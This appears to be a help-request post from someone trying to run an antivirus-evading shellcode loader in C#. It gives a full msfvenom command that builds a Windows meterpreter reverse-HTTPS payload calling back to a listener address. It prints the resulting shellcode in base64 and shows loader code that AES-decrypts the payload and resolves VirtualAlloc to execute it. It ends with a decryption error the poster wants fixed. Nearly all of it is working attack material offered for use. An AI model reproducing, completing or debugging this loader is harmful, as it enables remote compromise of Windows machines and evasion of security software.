hi,
actually i do
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.70 LPORT=443 -f raw -o test.bin

cat test.bin | base64 -w0
/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==

then copy this base64 string at line 548 of Program.cs code:

static void Main(string[] args)
{
string key = "CiaoGrande";
byte[] keyAes = GetSha256(key);

        string ciaogrande = "/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGEiLUiBWTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheWUgB0FpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A0AAAAxOTIuMTY4LjEuNzAAWkiJwUnHwLsBAABNMclTU2oDU0m6V4mfxgAAAAD/1ejuAAAAL3ktUmVHN0hBS3FMc09lMDdqOFUxS0F5VE1oMzZYM0xha1h0MnFPNVhlMGZRalZKSTMtTi1LSEp2UkgwcTlyZGJxcHZHSnR1YWZKdzBqYjJxanp4UVRULVMwSGFCTGFlUnpQdnFiSXV0azhEWVZrQ0M2LXlDaUh3U2UzZmpoUVJrOGp4YmM5RnpUaGh4WHZpVDhyZXk4X2Q4R2ZBZUNRZkdJVU8wOHFwOWlHR1pTNjI0U3dTaUhjaGJ2RFFCVV9IYXp2dVNzUzVCYjdZS1pEcGU0MXQ3Tjl4dlR3aWJEQmZOc0laZUlISWlfWVlhAEiJwVNaQVhNMclTSLgAMqiEAAAAAFBTU0nHwutVLjv/1UiJxmoKX0iJ8WofWlJogDMAAEmJ4GoEQVlJunVGnoYAAAAA/9VNMcBTWkiJ8U0xyU0xyVNTScfCLQYYe//VhcB1H0jHwYgTAABJukTwNeAAAAAA/9VI/890Auuq6FUAAABTWWpAWkmJ0cHiEEnHwAAQAABJulikU+UAAAAA/9VIk1NTSInnSInxSInaScfAACAAAEmJ+Um6EpaJ4gAAAAD/1UiDxCCFwHSyZosHSAHDhcB10ljDWGoAWUnHwvC1olb/1Q==";
        byte[] buf = Convert.FromBase64String(AesOperation.DecryptString(keyAes,ciaogrande));
        int bufSize = buf.Length;
        uint oldprotect = 0;
        IntPtr VirtualAllocPtr = CiaoGrandeRetrieve(AesOperation.DecryptString(keyAes, "pd6O/2VjBB0VTrEjz216gw=="), AesOperation.DecryptString(keyAes, "pYGzDGbPbfEg8fUiOr9A0Q=="));

or iam wrong ?

thanks

Unhandled Exception: System.Security.Cryptography.CryptographicException: The input data is not a complete block.
at System.Security.Cryptography.CapiSymmetricAlgorithm.TransformFinalBlock(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount)
at System.Security.Cryptography.CryptoStream.Read(Byte[] buffer, Int32 offset, Int32 count)
at System.IO.StreamReader.ReadBuffer()
at System.IO.StreamReader.ReadToEnd()
at CGPL.AesOperation.DecryptString(Byte[] key, String cipherText) in C:\Users\test\Source\Repos\CGPL\AesOperation.cs:line 61
at CGPL.Program.Main(String[] args) in C:\Users\test\Source\Repos\CGPL\Program.cs:line 549